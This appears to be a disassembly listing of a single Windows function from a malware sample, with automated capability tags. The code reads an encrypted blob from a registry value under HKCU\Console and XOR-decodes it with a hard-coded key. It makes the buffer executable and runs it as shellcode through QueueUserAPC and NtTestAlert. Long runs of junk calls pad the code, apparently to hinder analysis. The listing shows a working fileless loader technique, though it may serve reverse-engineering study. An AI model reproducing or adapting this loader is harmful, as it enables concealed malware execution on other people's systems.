Function at 0x140001478
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x30
call fcn.140001118
test eax, eax
je 0x140001495
call fcn.14000108c
call section..text
test eax, eax
je 0x1400014a3
call fcn.1400011a4
call fcn.14000108c
test eax, eax
je 0x1400014b1
call fcn.140001118
call fcn.1400011a4
test eax, eax
je 0x1400014bf
call fcn.14000108c
call fcn.14000108c
test eax, eax
je 0x1400014cd
call section..text
call fcn.140001118
test eax, eax
je 0x1400014db
call fcn.1400011a4
call fcn.1400011a4
test eax, eax
je 0x1400014e9
call fcn.14000108c
call fcn.14000108c
test eax, eax
je 0x1400014f7
call section..text
call fcn.140001238
test eax, eax
je 0x140001505
call fcn.1400012c8
call fcn.1400012c8
test eax, eax
je 0x140001513
call fcn.140001358
call fcn.140001358
test eax, eax
je 0x140001521
call fcn.1400013e8
call fcn.1400013e8
test eax, eax
je 0x14000152f
call fcn.140001238
call section..text
test eax, eax
je 0x14000153d
call fcn.140001238
call fcn.14000108c
test eax, eax
je 0x14000154b
call fcn.1400012c8
call fcn.140001118
test eax, eax
je 0x140001559
call fcn.140001358
call fcn.1400011a4
test eax, eax
je 0x140001567
call fcn.1400013e8
call fcn.1400011a4
test eax, eax
je 0x140001575
call fcn.14000108c
call fcn.14000108c
test eax, eax
je 0x140001583
call fcn.140001118
call fcn.140001118
test eax, eax
je 0x140001591
call section..text
call section..text
test eax, eax
je 0x14000159f
call fcn.14000108c
call fcn.140001118
test eax, eax
je 0x1400015ad
call fcn.14000108c
call section..text
test eax, eax
je 0x1400015bb
call fcn.1400011a4
call fcn.14000108c
test eax, eax
je 0x1400015c9
call fcn.140001118
call fcn.1400011a4
test eax, eax
je 0x1400015d7
call fcn.14000108c
call fcn.140001238
test eax, eax
je 0x1400015e5
call fcn.1400012c8
call fcn.1400012c8
test eax, eax
je 0x1400015f3
call fcn.140001358
call fcn.140001358
test eax, eax
je 0x140001601
call fcn.1400013e8
call fcn.1400013e8
test eax, eax
je 0x14000160f
call fcn.140001238
call fcn.14000108c
test eax, eax
je 0x14000161d
call fcn.1400012c8
call fcn.140001118
test eax, eax
je 0x14000162b
call fcn.140001358
call fcn.1400011a4
test eax, eax
je 0x140001639
call fcn.1400013e8
call fcn.140001238
test eax, eax
je 0x140001647
call section..text
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rbp + 0x30]
lea rdx, str.Console
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp + 0x30]
and dword [rbp + 0x20], 0
lea rax, [rbp + 0x20]
lea rdx, str.huorongcaoqq
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rbp + 0x20]
call fcn.140002160
mov rcx, qword [rbp + 0x30]
lea rdx, str.huorongcaoqq
mov rbx, rax
lea rax, [rbp + 0x20]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rbp + 0x20]
call fcn.140002160
mov esi, dword [rbp + 0x20]
mov rdi, rax
test esi, esi
je 0x140001704
mov r8, rax
sub rbx, rax
mov rdx, rax
neg r8
mov al, byte [rbx + rdx]
mov byte [rdx], al
mov esi, dword [rbp + 0x20]
inc rdx
lea rcx, [r8 + rdx]
cmp rcx, rsi
jb 0x1400016f0
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call section..text
test eax, eax
je 0x14000171c
call fcn.140001118
call fcn.1400011a4
test eax, eax
je 0x14000172a
call section..text
call section..text
test eax, eax
je 0x140001738
call fcn.1400011a4
call fcn.140001118
test eax, eax
je 0x140001746
call fcn.1400011a4
call fcn.1400011a4
test eax, eax
je 0x140001754
call fcn.14000108c
call fcn.14000108c
test eax, eax
je 0x140001762
call fcn.140001118
call fcn.140001118
test eax, eax
je 0x140001770
call section..text
call section..text
test eax, eax
je 0x14000177e
call fcn.14000108c
call fcn.140001238
test eax, eax
je 0x14000178c
call fcn.1400012c8
call fcn.1400012c8
test eax, eax
je 0x14000179a
call fcn.140001358
call fcn.140001358
test eax, eax
je 0x1400017a8
call fcn.1400013e8
call fcn.1400013e8
test eax, eax
je 0x1400017b6
call fcn.140001238
call fcn.14000108c
test eax, eax
je 0x1400017c4
call fcn.1400012c8
call fcn.140001118
test eax, eax
je 0x1400017d2
call fcn.140001358
call fcn.1400011a4
test eax, eax
je 0x1400017e0
call fcn.1400013e8
call fcn.140001238
test eax, eax
je 0x1400017ee
call section..text
call fcn.14000108c
test eax, eax
je 0x1400017fc
call section..text
call fcn.140001118
test eax, eax
je 0x14000180a
call fcn.1400011a4
call fcn.1400011a4
test eax, eax
je 0x140001818
call fcn.14000108c
call fcn.14000108c
test eax, eax
je 0x140001826
call section..text
call section..text
test eax, eax
je 0x140001834
call fcn.140001118
call fcn.1400011a4
test eax, eax
je 0x140001842
call section..text
call section..text
test eax, eax
je 0x140001850
call fcn.1400011a4
call fcn.140001118
test eax, eax
je 0x14000185e
call fcn.1400011a4
call fcn.140001238
test eax, eax
je 0x14000186c
call fcn.1400012c8
call fcn.1400012c8
test eax, eax
je 0x14000187a
call fcn.140001358
call fcn.140001358
test eax, eax
je 0x140001888
call fcn.1400013e8
call fcn.1400013e8
test eax, eax
je 0x140001896
call fcn.140001238
call section..text
test eax, eax
je 0x1400018a4
call fcn.140001358
call fcn.14000108c
test eax, eax
je 0x1400018b2
call fcn.1400013e8
call fcn.140001118
test eax, eax
je 0x1400018c0
call fcn.140001238
call fcn.1400011a4
test eax, eax
je 0x1400018ce
call fcn.1400012c8
xor r8d, r8d
xor r10d, r10d
test esi, esi
je 0x140001938
mov r9, rdi
lea rax, str.wqnmbl3ds6b0
movsx ecx, byte [r10 + rax]
mov eax, 0x4ac525d3
inc r10
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x2aaaaaab
imul edx, edx, 0x6d9
sub ecx, edx
imul r8d
add cl, 0x4f
xor byte [r9], cl
sar edx, 1
mov ecx, r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
neg ecx
sbb rax, rax
inc r8d
inc r9
and r10, rax
cmp r8d, esi
jb 0x1400018db
call fcn.140001118
test eax, eax
je 0x140001946
call fcn.14000108c
call section..text
test eax, eax
je 0x140001954
call fcn.1400011a4
call fcn.14000108c
test eax, eax
je 0x140001962
call fcn.140001118
call fcn.1400011a4
test eax, eax
je 0x140001970
call fcn.14000108c
call fcn.14000108c
test eax, eax
je 0x14000197e
call section..text
call fcn.140001118
test eax, eax
je 0x14000198c
call fcn.1400011a4
call fcn.1400011a4
test eax, eax
je 0x14000199a
call fcn.14000108c
call fcn.14000108c
test eax, eax
je 0x1400019a8
call section..text
call fcn.140001238
test eax, eax
je 0x1400019b6
call fcn.1400012c8
call fcn.1400012c8
test eax, eax
je 0x1400019c4
call fcn.140001358
call fcn.140001358
test eax, eax
je 0x1400019d2
call fcn.1400013e8
call fcn.1400013e8
test eax, eax
je 0x1400019e0
call fcn.140001238
call section..text
test eax, eax
je 0x1400019ee
call fcn.140001238
call fcn.14000108c
test eax, eax
je 0x1400019fc
call fcn.1400012c8
call fcn.140001118
test eax, eax
je 0x140001a0a
call fcn.140001358
call fcn.1400011a4
test eax, eax
je 0x140001a18
call fcn.1400013e8
call fcn.1400011a4
test eax, eax
je 0x140001a26
call fcn.14000108c
call fcn.14000108c
test eax, eax
je 0x140001a34
call fcn.140001118
call fcn.140001118
test eax, eax
je 0x140001a42
call section..text
call section..text
test eax, eax
je 0x140001a50
call fcn.14000108c
call fcn.140001118
test eax, eax
je 0x140001a5e
call fcn.14000108c
call section..text
test eax, eax
je 0x140001a6c
call fcn.1400011a4
call fcn.14000108c
test eax, eax
je 0x140001a7a
call fcn.140001118
call fcn.1400011a4
test eax, eax
je 0x140001a88
call fcn.14000108c
call fcn.140001238
test eax, eax
je 0x140001a96
call fcn.1400012c8
call fcn.1400012c8
test eax, eax
je 0x140001aa4
call fcn.140001358
call fcn.140001358
test eax, eax
je 0x140001ab2
call fcn.1400013e8
call fcn.1400013e8
test eax, eax
je 0x140001ac0
call fcn.140001238
call fcn.14000108c
test eax, eax
je 0x140001ace
call fcn.1400012c8
call fcn.140001118
test eax, eax
je 0x140001adc
call fcn.140001358
call fcn.1400011a4
test eax, eax
je 0x140001aea
call fcn.1400013e8
call fcn.140001238
test eax, eax
je 0x140001af8
call section..text
lea r9, [rbp + 0x28]
mov edx, esi
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtTestAlert
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call rbx
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret